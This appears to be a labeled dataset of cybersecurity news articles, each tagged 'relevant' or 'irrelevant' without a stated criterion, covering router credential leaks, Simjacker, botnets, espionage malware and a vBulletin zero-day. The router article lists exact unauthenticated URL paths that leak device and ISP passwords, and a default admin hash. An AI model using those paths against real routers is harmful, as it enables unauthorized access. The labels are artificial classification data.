cybersecurity purchase. In the long run, the investment in security would be measured against its success in preventing cyber derive damage from occurring. However, many security decision-makers don't have the attacker perspective that would enable them to adequately prioritize the capabilities they need their security products to have. To address this need, Cynet releases the Definitive EDR/EPP and APT Protection RFP templates, to be used as a free resource by organizations that seek protection from advanced threats. ""We took the knowledge we've accumulated throughout years of offensive security and attack research,"" says Gruner, ""and asked ourselves – as attackers, what kind of protection would have strained us to the degree that we might reconsider shifting to another target."" ""It was a fascinating journey for us as well which really forced us to objectively reflect on the pros and cons of a wide attacking tools array."" This is exactly the missing link in the knowledge of the common security buyer, which makes perfect sense—after all non-attackers are not expected to master the attackers' best practices book. These decision-makers, however, do know more than anyone else what they have and what they need to protect. The Definitive APT Protection RFP can force-multiply the quality purchase decisions, ensuring that they indeed deliver. The RFP comprises five sections: Monitoring & Control—routine activities to gain visibility and proactively discover and reduce attack surfaces. Prevention & Detection—mechanism to thwart the wide array of commodity and advanced attack vectors. Investigation & Response—an overall toolset for efficient reaction to the detected live attacks. Infrastructure (EDR only)—architecture, deployment, data collection and communication. Operation—ongoing management of the solution ""I guess there isn't an organization that didn't experience at one time or another buying something shiny that seemed amazing and ended up with little value, we see it all time,"" says Gruner. ""Either it didn't work or address some esoteric attack vector that looked great in the demo but never happened in real life. The Definitive Guide is meant to prevent this kind of scenarios."" Download the Definitive EDR/EPP and APT Protection RFP Templates here.",irrelevant
"Some D-Link and Comba WiFi Routers Leak Their Passwords in Plaintext What could be worse than your router leaking its administrative login credentials in plaintext? Cybersecurity researchers from Trustwave's SpiderLabs have discovered multiple security vulnerabilities in some router models from two popular manufacturers—D-Link and Comba Telecom—that involve insecure storage of credentials, potentially affecting every user and system on that network. Researcher Simon Kenin told The Hacker News that he discovered a total of five vulnerabilities—two in a D-Link DSL modem typically installed to connect a home network to an ISP, and three in multiple Comba Telecom WiFi devices. These flaws could potentially allow attackers to change your device settings, extract sensitive information, perform MitM attacks, redirect you to phishing or malicious sites and launch many more types of attacks. ""Since your router is the gateway in and out of your entire network it can potentially affect every user and system on that network. An attacker-controlled router can manipulate how your users resolve DNS hostnames to direct your users to malicious websites,"" Kenin says in a blog post published today. Kenin is the same security researcher who previously discovered similar vulnerability (CVE-2017-5521) in at least 31 models of Netgear routers, allowing remote hackers to obtain the admin password of the affected devices and potentially affecting over one million Netgear customers. D-Link WiFi Router Vulnerabilities The first vulnerability resides in the dual-band D-Link DSL-2875AL wireless router, where a file located at https://[router ip address]/romfile.cfg contains login password of the device in plaintext and can be accessed by anyone with access to the web-based management IP address, without requiring any authentication. router password hacking The second vulnerability impacts D-Link DSL-2875AL and the DSL-2877AL models and leaks the username and password the targeted router use for authenticating with the Internet Service Provider (ISP). According to the researchers, a local attacker connected to the vulnerable router or a remote attacker, in case of the router is exposed to the Internet, can obtain victims' ISP credentials just by looking at the source code (HTML) of the router login page at https://[router ip address]/index.asp. ""The following username & password are used by the user to connect to his ISP, leaking this info could allow an attacker to use those credentials for himself and abuse the ISP,"" the advisory for the flaw explains. ""On top of that, bad security habits of password reuse could possibly allow an attacker to gain control of the router itself."" Researchers notified D-Link of the vulnerabilities in early January, but the company released Firmware patches on September 6, just three days prior to the full disclosure of the issues. Comba Wi-Fi Access Controller Vulnerabilities Out of three, the first vulnerability impacts the Comba AC2400 WiFi Access Controller, leaking the MD5 hash of the device password just by accessing the following URL without requiring any authentication. https://[router ip address]/09/business/upgrade/upcfgAction.php?download=true ""The username is admin, with system privileges and the md5 of his password is 61d217fd8a8869f6d26887d298ce9a69 (trustwave). MD5 is very easy to break, if SSH/Telnet is enabled, this could lead to a full takeover of the filesystem of the device,"" the advisory reads. router password hacking The other two vulnerabilities impact the Comba AP2600-I WiFi Access Point (version A02,0202N00PD2). One of these flaws also leaks MD5 hash of the device username and password through the source code of the web-based management login page, while the other one leaks credentials in plaintext stored in an SQLite database file located at https://[router ip address]/goform/downloadConfigFile. Researchers attempted to contact Comba Telecom multiple times since February this year, but never succeeded in receiving a response. All the three vulnerabilities discovered in Comba Telecom routers are unpatched at the time of writing, and it remains unknown whether the company has any plan to address them or not.",relevant
"Russian APT Map Reveals 22,000 Connections Between 2000 Malware Samples Though Russia still has an undiversified and stagnant economy, it was one of the early countries in the world to realize the value of remotely conducted cyber intrusions. In recent years, many Russia hacking groups have emerged as one of the most sophisticated nation-state actors in cyberspace, producing highly specialized hacking techniques and toolkits for cyber espionage. Over the past three decades, many high profile hacking incidents—like hacking the US presidential elections, targeting a country with NotPetya ransomware, causing blackout in Ukrainian capital Kiev, and Pentagon breach—have been attributed to Russian hacking groups, including Fancy Bear (Sofacy), Turla, Cozy Bear, Sandworm Team and Berserk Bear. Besides continuously expanding its cyberwar capabilities, the ecosystem of Russian APT groups has also grown into a very complex structure, making it harder to understand who's who in Russian cyber espionage. Now to illustrate the big picture and make it easier for everyone to understand the Russian hackers and their operations, researchers from Intezer and Check Point Research joint their hands to release a web-based, interactive map that gives a full overview of this ecosystem. Dubbed ""Russian APT Map,"" the map can be used by anyone to learn information about the connections between different Russian APT malware samples, malware families, and threat actors—all just clicking on nodes in the map. russian hacking groups map ""The [Russian APT] map is basically a one-stop-shop for anyone who is interested to learn and understand the connections and attributions of the samples, modules, families, and actors that together comprise this ecosystem,"" researchers told The Hacker News. ""By clicking on nodes in the graph, a side panel will reveal, containing information about the malware family the node belongs to, as well as links to analysis reports on Intezer's platform and external links to related articles and publications."" At its core, the Russian APT Map is the result of comprehensive research where researchers gathered, classified and analyzed more than 2,000 malware samples attributed to Russian hacking groups, and mapped nearly 22,000 connections between them based on 3.85 million pieces of code they shared. ""Every actor or organization under the Russain APT umbrella has its own dedicated malware development teams, working for years in parallel on similar malware toolkits and frameworks. Knowing that a lot of these toolkits serve the same purpose, it is possible to spot redundancy in this parallel activity."" Russian APT Map also reveals that though most of the hacking groups were re-using their own code in their own different tools and frameworks, no different groups were found using each other's code. ""By avoiding different organizations re-using the same tools on a wide range of targets, they overcome the risk that one compromised operation will expose other active operations, preventing a sensitive house of cards from collapsing,"" researchers say. ""Another hypothesis is that different organizations do not share code due to internal politics."" To make it more efficient and up-to-date in the future, researchers have also open-sourced the map and the data behind it. Besides this, researchers have also released a Yara rules-based scanning tool, dubbed ""Russian APT Detector,"" that can be used by anyone to scan a specific file, a folder, or a whole file system and search for infections by Russian hackers.",irrelevant
"New SIM Card Flaw Lets Hackers Hijack Any Phone Just By Sending SMS Cybersecurity researchers today revealed the existence of a new and previously undetected critical vulnerability in SIM cards that could allow remote attackers to compromise targeted mobile phones and spy on victims just by sending an SMS. Dubbed ""SimJacker,"" the vulnerability resides in a particular piece of software, called the S@T Browser (a dynamic SIM toolkit), embedded on most SIM cards that is widely being used by mobile operators in at least 30 countries and can be exploited regardless of which handsets victims are using. What's worrisome? A specific private company that works with governments is actively exploiting the SimJacker vulnerability from at least the last two years to conduct targeted surveillance on mobile phone users across several countries. S@T Browser, short for SIMalliance Toolbox Browser, is an application that comes installed on a variety of SIM cards, including eSIM, as part of SIM Tool Kit (STK) and has been designed to let mobile carriers provide some basic services, subscriptions, and value-added services over-the-air to their customers. Since S@T Browser contains a series of STK instructions—such as send short message, setup call, launch browser, provide local data, run at command, and send data—that can be triggered just by sending an SMS to a device, the software offers an execution environment to run malicious commands on mobile phones as well. How Does Simjacker Vulnerability Work? Disclosed by researchers at AdaptiveMobile Security in new research published today, the vulnerability can be exploited using a $10 GSM modem to perform several tasks, listed below, on a targeted device just by sending an SMS containing a specific type of spyware-like code. Retrieving targeted device' location and IMEI information, Spreading mis-information by sending fake messages on behalf of victims, Performing premium-rate scams by dialing premium-rate numbers, Spying on victims' surroundings by instructing the device to call the attacker's phone number, Spreading malware by forcing victim's phone browser to open a malicious web page, Performing denial of service attacks by disabling the SIM card, and Retrieving other information like language, radio type, battery level, etc. ""During the attack, the user is completely unaware that they received the attack, that information was retrieved, and that it was successfully exfiltrated,"" researchers explain. ""The location information of thousands of devices was obtained over time without the knowledge or consent of the targeted mobile phone users. However the Simjacker attack can, and has been extended further to perform additional types of attacks."" ""This attack is also unique, in that the Simjacker Attack Message could logically be classified as carrying a complete malware payload, specifically spyware. This is because it contains a list of instructions that the SIM card is to execute."" sim card hacking Though the technical details, detailed paper and proof-of-concept of the vulnerability are scheduled to be released publicly in October this year, the researchers said they had observed real-attacks against users with devices from nearly every manufacturer, including Apple, ZTE, Motorola, Samsung, Google, Huawei, and even IoT devices with SIM cards. According to the researchers, all manufacturers and mobile phone models are vulnerable to the SimJacker attack as the vulnerability exploits a legacy technology embedded on SIM cards, whose specification has not been updated since 2009, potentially putting over a billion people at risk. Simjacker Vulnerability Being Exploited in the Wild sim card hacking software Researchers says, the Simjacker attack worked so well and was being successfully exploited for years ""because it took advantage of a combination of complex interfaces and obscure technologies, showing that mobile operators cannot rely on standard established defences."" ""Simjacker represents a clear danger to the mobile operators and subscribers. This is potentially the most sophisticated attack ever seen over core mobile networks,"" said Cathal McDaid, CTO, AdaptiveMobile Security in a press release. ""It's a major wake-up call that shows hostile actors are investing heavily in increasingly complex and creative ways to undermine network security. This compromises the security and trust of customers, mobile operators, and impacts the national security of entire countries."" Moreover, now that this vulnerability has publicly been revealed, the researchers expect hackers and other malicious actors will try to ""evolve these attacks into other areas."" Researchers have responsibly disclosed details of this vulnerability to the GSM Association, the trade body representing the mobile operator community, as well as the SIM alliance that represents the main SIM Card/UICC manufacturers. The SIMalliance has acknowledged the issue and provided recommendations for SIM card manufacturers to implement security for S@T push messages. Mobile operators can also immediately mitigate this threat by setting up a process to analyze and block suspicious messages that contain S@T Browser commands. As a potential victim, it appears, there is nothing much a mobile device user can do if they are using a SIM card with S@T Browser technology deployed on it, except requesting for a replacement of their SIM that has proprietary security mechanisms in place. ",relevant
"Smominru Botnet Indiscriminately Hacked Over 90,000 Computers Just Last Month Insecure Internet-connected devices have aided different types of cybercrime for years, most common being DDoS and spam campaigns. But cybercriminals have now shifted toward a profitable scheme where botnets do not just launch DDoS or spam—they mine cryptocurrencies as well. Smominru, an infamous cryptocurrency-mining and credential-stealing botnet, has become one of the rapidly spreading computer viruses that is now infecting over 90,000 machines each month around the world. Though the campaigns that are hacking computers with the Smominru botnet have not been designed to go after targets with any specific interest, the latest report from Guardicore Labs researchers shed light on the nature of the victims and the attack infrastructure. According to the researchers, just last month, more than 4,900 networks were infected by the worm without any discrimination, and many of these networks had dozens of internal machines infected. Infected networks include US-based higher-education institutions, medical firms, and even cybersecurity companies, with the largest network belonging to a healthcare provider in Italy with a total of 65 infected hosts. Active since 2017, Smominru botnet compromises Windows machines primarily using EternalBlue, an exploit that was created by the U.S. National Security Agency but later got leaked to the public by the Shadow Brokers hacking group and then most famously used by the hard-hitting WannaCry ransomware attack in 2016. The botnet has also been designed to gain initial access on vulnerable systems by simply brute-forcing weak credentials for different Windows services, including MS-SQL, RDP, and Telnet. smominru botnet Once gaining initial access to the targeted systems, Smominru installs a Trojan module and a cryptocurrency miner and propagates inside the network to harness CPU power of victims' PCs to mine Monero and send it to a wallet owned by the malware's operator. A month ago, it was also revealed that the operators behind the botnet upgraded Smominru to add a data harvesting module and Remote Access Trojan (RAT) to their botnet's cryptocurrency mining code. The latest variant of Smominru downloads and runs at least 20 distinct malicious scripts and binary payloads, including a worm downloader, a Trojan horse and an MBR rootkit. ""The attackers create many backdoors on the machine in different phases of the attack. These include newly-created users, scheduled tasks, WMI objects and services set to run at boot time,"" the researchers say. According to the new report, Guardicore Labs researchers said they managed to gain access to one of the attackers' core servers, which stores victim information and their stolen credentials, and took a closer look at the nature of the victims. ""The attackers' logs describe each infected host; they include its external and internal IP addresses, the operating system it runs and even the load on the system's CPU(s). Furthermore, the attackers attempt to collect the running processes and steal credentials using Mimikatz,"" the researchers say. ""Guardicore Labs has informed identifiable victims and provided them with the details of their infected machines."" The botnet is infecting vulnerable machines—the majority of which are running Windows 7 and Windows Server 2008—at a rate of 4,700 machines per day with several thousands of infections detected in countries including China, Taiwan, Russia, Brazil, and the U.S. Majority of the infected machines discovered were primarily small servers, with 1-4 CPU cores, leaving most of them unusable due to overutilization of their CPUs with the mining process. smominru botnet malware Analysis by the researchers also revealed that one-fourth of the Smominru victims was reinfected by the worm, suggesting that they ""attempted to clean up their systems without fixing the root cause issue that left them vulnerable in the first place."" Unlike previous variants of Smominru, the new variant also removes infections from compromised systems, if any, that are added by other cyber-criminal groups, along with blocking TCP ports (SMB, RPC) in an attempt to prevent other attackers from breaching its infected machines. Guardicore researchers have also released a complete list of IoCs (indicators of compromise) and a free Powershell script on GitHub that you can run from your Windows command-line interface to check if your system is infected with the Smominru worm or not. Since the Smominru worm leverages the EternalBlue exploit and weak passwords, users are advised to keep their systems and software updated and stick to strong, complex and unique passwords to avoid being a victim of such threats. Besides this, for an organization, it is also essential to have additional security measures, such as ""applying network segmentation and minimizing the number of internet-facing servers.",relevant
"New Malware Uses Windows BITS Service to Stealthy Exfiltrate Data Cybersecurity researchers have discovered a new computer virus associated with the Stealth Falcon state-sponsored cyber espionage group that abuses a built-in component of the Microsoft Windows operating system to stealthily exfiltrate stolen data to attacker-controlled server. Active since 2012, Stealth Falcon is a sophisticated hacking group known for targeting journalists, activists, and dissidents with spyware in the Middle East, primarily in the United Arab Emirates (UAE). Dubbed Win32/StealthFalcon, named after the hacking group, the malware communicates and sends collected data to its remote command-and-control (C&C) servers using Windows Background Intelligent Transfer Service (BITS). BITS is a communication protocol in Windows that takes unused network bandwidth to facilitate asynchronous, prioritized, and throttled transfer of files between machines in the foreground or background, without impacting the network experience. BITS is commonly used by software updaters, including downloading files from the Microsoft servers or peers to install updates on Windows 10, messengers, and other applications designed to operate in the background. According to security researchers at cyber-security firm ESET, since BITS tasks are more likely permitted by host-based firewalls and the functionality automatically adjusts the data transfer rate, it allows malware to stealthily operate in the background without raising any red flags. ""Compared with traditional communication via API functions, the BITS mechanism is exposed through a COM interface and thus harder for a security product to detect,"" the researchers say in a report published today. ""The transfer resumes automatically after being interrupted for reasons like a network outage, the user logging out, or a system reboot."" Besides this, instead of exfiltrating the collected data in plain text, the malware first creates an encrypted copy of it and then uploads the copy to the C&C server via BITS protocol. After successfully exfiltrating the stolen data, the malware automatically deletes all log and collected files after rewriting them with random data in order to prevent forensic analysis and recovery of the deleted data. As explained in the report, Win32/StealthFalcon backdoor has not only been designed to steal data from the compromised systems but can also be used by attackers to further deploy more malicious tools and update its configuration by sending commands through C&C server. ""The Win32/StealthFalcon backdoor, which appears to have been created in 2015, allows the attacker to control the compromised computer remotely. We have seen a small number of targets in UAE, Saudi Arabia, Thailand, and the Netherlands; in the latter case, the target was a diplomatic mission of a Middle Eastern country,"" the researchers say. According to the researchers, this newly discovered malware shares its C&C servers and code base with a PowerShell-based backdoor attributed to the Stealth Falcon group and tracked by the Citizen Lab in 2016.",relevant
"Twitter temporarily disables 'Tweeting via SMS' after CEO gets hacked Twitter today finally decided to temporarily disable a feature, called 'Tweeting via SMS,' after it was abused by a hacking group to compromise Twitter CEO Jack Dorsey last week and sent a series of racist and offensive tweets to Dorsey's followers. Dorsey's Twitter account was compromised last week when a hacker group calling itself ""Chuckling Squad"" replicated a mobile phone number associated with the CEO account and abused this particular feature to post racist, offensive messages and bomb threats from it via SMS. Replicating a mobile phone number associated with someone else is a technique known as ""SIM swapping,"" where attackers social engineer a victim's mobile phone provider and trick the telecom company to transfer target's phone number to their own SIM card. Once they social engineered an AT&T employee and gained access to Dorsey's phone number, the Chuckling Squad hackers used the 'Tweeting via SMS' feature to post tweets under his username, even without actually logging in to his account. For those unaware, Twitter has a feature that gives its users the ability to post a tweet from their account just by sending an SMS message to the company number from their registered mobile number associated with their Twitter account. This feature was once the most popular way to use Twitter in its early days when most people relied on phones with no internet connection, especially when in some countries government imposes Internet blackouts to quell protests and revolutions. However, the feature still exists and has been misused several times in the past since no authentication is required other than just having access to the linked phone number. In a series of tweets published today, Twitter says it has temporarily disabled this feature and working on improving it by exploring options to offer an authenticated way. ""We're taking this step because of vulnerabilities that need to be addressed by mobile carriers and our reliance on having a linked phone number for two-factor authentication (we're working on improving this),"" the company said. ""We'll reactivate this in markets that depend on SMS for reliable communication soon while we work on our longer-term strategy for this feature."" However, the company has not provided any timeline of the reactivation of this feature. Dorsey is not the only person falling victim to SIM swapping attack in recent days. Other victims whose accounts have recently been compromised by Chuckling Squad include actress Chloë Grace Moretz and a number of social media influencers with large followers.",irrelevant
"[Unpatched] Critical 0-Day RCE Exploit for vBulletin Forum Disclosed Publicly An anonymous hacker today publicly revealed details and proof-of-concept exploit code for an unpatched, critical zero-day remote code execution vulnerability in vBulletin—one of the widely used internet forum software, The Hacker News has learned. One of the reasons why the vulnerability should be viewed as a severe issue is not just because it is remotely exploitable, but also doesn't require authentication. Written in PHP, vBulletin is a widely used proprietary Internet forum software package that powers more than 100,000 websites on the Internet, including Fortune 500 and Alexa Top 1 million companies websites and forums. According to details published on the Full Disclosure mailing list, the hacker claims to have found a remote code execution vulnerability that appears to affect vBulletin versions 5.0.0 till the latest 5.5.4. The Hacker News has independently verified that the flaw works, as described, and affects the latest version of vBulletin software, which eventually leaves thousands of forum websites at risk of hacking. The vulnerability resides in the way an internal widget file of the forum software package accepts configurations via the URL parameters and then parse them on the server without proper safety checks, allowing attackers to inject commands and remotely execute code on the system. vbulletin exploit As a proof-of-concept, the hacker has also released a python-based exploit that could make it easier for anyone to exploit the zero-day in the wild. So far, the Common Vulnerabilities and Exposures (CVE) number has not been assigned to the vulnerability. The Hacker News has also informed vBulletin project maintainers about the vulnerability disclosure and expect them to patch the security issue before hackers start exploiting it to target vBulletin installations. A separate cybersecurity researcher analyzed the core reason of this vulnerability and posted details soon after The Hacker News publish the article. Meanwhile, a GitHub user also released a simple script that could let anyone scan the Internet to find vBulletin websites using Shodan search engine and automatically check for vulnerable sites. We will update the article and inform the readers via social media as soon as we hear back from the vBulletin maintainers. Update — Hackers Actively Exploiting vBulletin Zero-Day; Patches Now Available According to multiple infosec community sources in contact with The Hacker News, various hacking groups and individual bug hunters have already started scanning the Internet to target vulnerable vBulletin websites. After The Hacker News broke the news and informed the vBulletin team about the zero-day public disclosure, now tracked as CVE-2019-16759, the project maintainers today released security patches for vBulletin versions 5.5.2, 5.5.3, and 5.5.4.",relevant
"WebARX — A Defensive Core For Your Website Estonian based web security startup WebARX, the company who is also behind open-source plugin vulnerability scanner WPBullet and soon-to-be-released bug bounty platform plugbounty.com, has a big vision for a safer web. It built a defensive core for websites which is embedded deep inside the company's DNA as even ARX in their name refers to the citadel (the core fortified area of a town or city) in Latin. WebARX—web application security platform—allows web developers and digital agencies to get advanced website security integrated with every site and makes it more effective and less time-consuming to manage security across multiple websites. You can find reviews such as ""WebARX - the Swiss army knife that secures my websites!"", ""The security software that I use every day,"" ""Many Promise - WebARX Delivers"" from their Trustpilot page, so where is all that coming from? Serious Team With A Unique Focus WebARX is solving a very specific problem—reducing the security risk from third-party components within web applications, or as its website states, ""Protect websites from plugin vulnerabilities."" In fact, the latest studies show that 98% of security vulnerabilities within the WordPress ecosystem (running 35% of the websites online) are related to plugins, which are intended to expand the functionality and features of a website. Additionally, by contributing to the open-source with WPBullet, the company is also planning to release the first open-source plugin bug bounty platform plugbounty.com, which is released in few weeks. Advanced Protection For Any PHP App Made Simple and Accessible Lately, WebARX has gained a lot of popularity for its security platform. According to many, it's one of the most advanced solutions for modern websites that are built on WordPress or any other PHP based content management system. WordPress web application security It takes less than a minute to add a site to the portal and activate monitoring and firewall. WebARX protects sites from malicious traffic, unwanted bot requests, and prevents OWASP TOP 10 vulnerability exploitation. As a managed service, WebARX is actively keeping its firewall up to date with the latest threats. Virtual patches are applied automatically to prevent software specific vulnerabilities mostly found within components such as plugins and themes. The firewall has its benefits from running on the end-point and being component agnostic. Since WebARX is running on the site, it can't be bypassed the way DNS firewalls are often bypassed (when the IP to the server is leaked by abusing DNS history or when the server is not configured correctly allowing traffic from sources other than what is coming through the firewall). With WebARX you have the freedom to create an unlimited number of custom firewall rules (match anything within HTTP protocol). You can analyze and control the firewall among all your sites from the central cloud-based dashboard. WordPress In the Center of Attention WordPress, as the most popular content management system, has clearly received a lot of attention. According to some statistics, it runs already more than 35% of the websites. Attention is not always positive, and this has made WordPress a very attractive target for attackers. Hundreds of thousands of websites are being abused to redirect traffic, host malware, send out spam and sites are even used as slaves in botnets. Victims are not chosen; most of the attacks are automated, which targets the software, not the company or the people behind the website itself. WordPress security is an active topic. Just a week ago, a critical 'Backdoor Attack' warning was issued for 60 million WordPress users via Forbes. WebARX is the All-in-One Solution For WordPress Sites ""A must for WordPress sites!"" as one of its Trustpilot review states, WebARX has already gone a long way to ultimately become the only WordPress security solution you need. WebARX web application security It's always good to keep the number of components/plugins low while having all the security and hardening options available for every site. Some of the options WebARX includes: WAF with virtual patches and an unlimited number of custom rules. Advanced firewall management and analytics. Central, easy to use cloud-based security portal. Up-time, Blacklist, Domain/SSL expiration, and plugin vulnerability monitoring. 2FA for any site and each user. ReCAPTCHA implementation for forms. Brute-force/XML-RPC protection. Automatic off-site backups to Google Drive. Customizable cookie notice bar. User activity logging. Cloud-based plugin management (remote updating). Cloud-based hardening. Multi-site support. And much more… WebARX is currently celebrating its birthday, and a 50% discount is offered for a limited time. WebARX has a 14-day free trial to give it a try. If you're interested in joining a cybersecurity startup, they are also hiring.",irrelevant
"WhatsApp 'Delete for Everyone' Doesn't Delete Media Files Sent to iPhone Users Mistakenly sent a picture to someone via WhatsApp that you shouldn't have? Well, we've all been there, but what's more unfortunate is that the 'Delete for Everyone' feature WhatsApp introduced two years ago contains an unpatched privacy bug, leaving its users with false sense of privacy. WhatsApp and its rival Telegram messenger offer ""Delete for Everyone,"" a potentially life-saving feature on which millions of people today rely to escape the awkwardness of mistakenly sending messages / pictures / videos to the wrong person. As the name indicates, the 'Delete for Everyone' feature is intended to unsend mistakenly sent inappropriate messages—including text, photos and videos—from the recipient's phone, or from the phones of all members of a group. In the case of WhatsApp, the feature is only available within 1 hour, 8 minutes, and 16 seconds of sending a message you want to delete, which is fine and a fair use case. However, it turns out that WhatsApp 'Delete for Everyone' feature doesn't delete media files sent to iPhone users (with default settings) as it does from the Android devices, leaving sent files saved on the recipient's iOS device even if the messenger chat screen displays you, ""This message has been deleted."" According to Shitesh Sachan, an application security consultant, who found this privacy issue and shared his findings exclusively with The Hacker News, the feature for WhatsApp for iOS has not been designed to delete received media files saved in the iPhone's Camera Roll. On the other hand, if you use 'Delete for Everyone' against an Android user, WhatsApp will delete the sent media files from the recipient device's gallery as well. The incomplete functionality concerns because WhatsApp by default automatically saves all images/videos you receive via WhatsApp to your iPhone's Camera Roll or Android's Media Gallery, which otherwise can be turned OFF from the app's settings, but very few people either knows or care about it. There's another angle to the story that Apple policies don't allow the apps to make any changes to files saved on the users' Camera Roll without their consent, which is a good thing. But if that's the case, WhatsApp should not even falsely advertise users 'Delete for Everyone' option unless their recipients' don't manually change settings to do not save attachments to the device external storage. Earlier this week, a similar privacy flaw was disclosed in the ""Delete for Everyone"" feature of the Telegram messenger, which the company patched immediately to keep the feature useful in situations for which it has primarily been designed. When Sachan reported this issue to WhatsApp, the company refused to address the issue or extend the feature, saying: ""The functionality provided via ""Delete for Everyone"" is intended to delete the message and there is no guarantee that the media (or message) will be permanently deleted—the implementation focuses around the message presence in WhatsApp."" WhatsApp Security team also argued that the ""recipients may see your message before it's deleted or if deletion wasn't successful,"" but as far as we understand the feature was not even intended to save users from out-of-the-hand scenarios where recipients move or save the media file manually or screenshot the chat. Though WhatsApp says ""there is no guarantee a message or the attachments will be deleted,"" the company hinted that it might make changes to this functionality and its implementation in the future. In a statement shared with The Hacker News, a WhatsApp spokesperson said: ""This feature is working properly, and using the 'delete for everyone' feature in time will result in media being removed from the WhatsApp chat thread. We provide simple options to help iPhone users manage the media they receive from friends and family, per the best practices established by operating systems. If a user chooses to save images to their camera roll they are stored out of reach of WhatsApp's 'delete for everyone feature.""",irrelevant
"Microsoft Warns of a New Rare Fileless Malware Hijacking Windows Computers Watch out Windows users! There's a new strain of malware making rounds on the Internet that has already infected thousands of computers worldwide and most likely, your antivirus program would not be able to detect it. Why? That's because, first, it's an advanced fileless malware and second, it leverages only legitimate built-in system utilities and third-party tools to extend its functionality and compromise computers, rather than using any malicious piece of code. The technique of bringing its own legitimate tools is effective and has rarely been spotted in the wild, helping attackers to blend in their malicious activities with regular network activity or system administration tasks while leaving fewer footprints. Independently discovered by cybersecurity researchers at Microsoft and Cisco Talos, the malware — dubbed ""Nodersok"" and ""Divergent"" — is primarily being distributed via malicious online advertisements and infecting users using a drive-by download attack. First spotted in mid-July this year, the malware has been designed to turn infected Windows computers into proxies, which according to Microsoft, can then be used by attackers as a relay to hide malicious traffic; while Cisco Talos believes the proxies are used for click-fraud to generate revenue for attackers. Multi-Stage Infection Process Involves Legitimate Tools fileless malware attack flow The infection begins when malicious ads drop HTML application (HTA) file on users' computers, which, when clicked, executes a series of JavaScript payloads and PowerShell scripts that eventually download and install the Nodersok malware. ""All of the relevant functionalities reside in scripts and shellcodes that are almost always coming in encrypted, are then decrypted, and run while only in memory. No malicious executable is ever written to the disk,"" Microsoft explains. As illustrated in the diagram, the JavaScript code connects to legitimate Cloud services and project domains to download and run second-stage scripts and additional encrypted components, including: PowerShell Scripts — attempt to disable Windows Defender antivirus and Windows update. Binary Shellcode — attempts to escalate privileges using auto-elevated COM interface. Node.exe — Windows implementation of the popular Node.js framework, which is trusted and has a valid digital signature, executes malicious JavaScript to operate within the context of a trusted process. WinDivert (Windows Packet Divert) — a legitimate, powerful network packet capture and manipulation utility that malware uses to filter and modify certain outgoing packets. At last, the malware drops the final JavaScript payload written for the Node.js framework that converts the compromised system into a proxy. ""This concludes the infection, at the end of which the network packet filter is active, and the machine is working as a potential proxy zombie,"" Microsoft explains. ""When a machine turns into a proxy, it can be used by attackers as a relay to access other network entities (websites, C&C servers, compromised machines, etc.), which can allow them to perform stealthy malicious activities."" malware proxy server According to the experts at Microsoft, the Node.js-based proxy engine currently has two primary purposes—first, it connects the infected system back to a remote, attacker-controlled command-and-control server, and second, it receives HTTP requests to proxy back to it. malware click fraud On the other hand, experts at Cisco Talos concludes that the attackers are using this proxy component to command infected systems to navigate to arbitrary web pages for monetization and click fraud purposes. Nodersok Infected Thousands of Windows Users According to Microsoft, the Nodersok malware has already infected thousands of machines in the past several weeks, with most targets located in the United States and Europe. While the malware primarily focuses on targeting Windows home users, researchers have seen roughly 3% of attacks targeting organization from industry sectors, including education, healthcare, finance, retail, and business and professional services. Since the malware campaign employs advanced fileless techniques and relies on elusive network infrastructure by making use of legit tools, the attack campaign flew under the radar, making it harder for traditional signature-based antivirus programs to detect it. ""If we exclude all the clean and legitimate files leveraged by the attack, all that remains are the initial HTA file, the final Node.js-based payload, and a bunch of encrypted files. Traditional file-based signatures are inadequate to counter sophisticated threats like this,"" Microsoft says. However, the company says that the malware's ""behavior produced a visible footprint that stands out clearly for anyone who knows where to look."" In July this year, Microsoft also discovered and reported another fileless malware campaign, dubbed Astaroth, that was designed to steal users' sensitive information, without dropping any executable file on the disk or installing any software on the victim's machine. Microsoft said its Windows Defender ATP next-generation protection detects this fileless malware attacks at each infection stage by spotting anomalous and malicious behaviors, such as the execution of scripts and tools.",irrelevant
"Microsoft Releases Emergency Patches for IE 0-Day and Windows Defender Flaw It's not a Patch Tuesday, but Microsoft is rolling out emergency out-of-band security patches for two new vulnerabilities, one of which is a critical Internet Explorer zero-day that cyber criminals are actively exploiting in the wild. Discovered by Clément Lecigne of Google's Threat Analysis Group and tracked as CVE-2019-1367, the IE zero-day is a remote code execution vulnerability in the way Microsoft's scripting engine handles objects in memory in Internet Explorer. The vulnerability is a memory-corruption issue that could allow a remote attacker to hijack a Windows PC just by convincing the user into viewing a specially crafted, booby-trapped web-page hosted online, when using Internet Explorer. ""An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. If the current user is logged on with administrative user rights, an attacker who successfully exploited the vulnerability could take control of an affected system,"" Microsoft says in its advisory. The vulnerability affects Internet Explorer versions 9, 10, 11, and though users should always deploy updates for every installed software when available, it is highly recommended to use an alternative, more secure web browsers like Google Chrome or Mozilla Firefox. Microsoft said this vulnerability is being actively exploited in the wild by attackers but did not reveal any further details about the exploit campaign. Google recently also detected a widespread iPhone hacking campaign that indiscriminately targeted users for over two years, but Apple accused the tech company of creating a false impression of ""mass exploitation."" Microsoft also released a second out-of-band security update to patch a denial-of-service (DoS) vulnerability in Microsoft Defender, an anti-malware engine that ships with Windows 8 and later versions of Windows operating system. Discovered by Charalampos Billinis of F-Secure and Wenxu Wu of Tencent Security Lab and tracked as CVE-2019-1255, the vulnerability resides in the way Microsoft Defender handles files and exists in Microsoft Malware Protection Engine versions up to 1.1.16300.1. According to an advisory published by Microsoft, an attacker could exploit this vulnerability ""to prevent legitimate accounts from executing legitimate system binaries,"" but in order to exploit this flaw, the attacker would ""first require execution on the victim system."" The security update for Microsoft Defender is automatic, and therefore will be applied automatically through the Microsoft Malware Protection Engine within the next 48 hours. The flaw has been addressed in the Microsoft Malware Protection Engine version 1.1.16400.2. Since both the security updates are part of Microsoft's emergency updates and one of which even addresses the flaw being exploited in the wild right now, users are advised to deploy them as soon as possible.",relevant
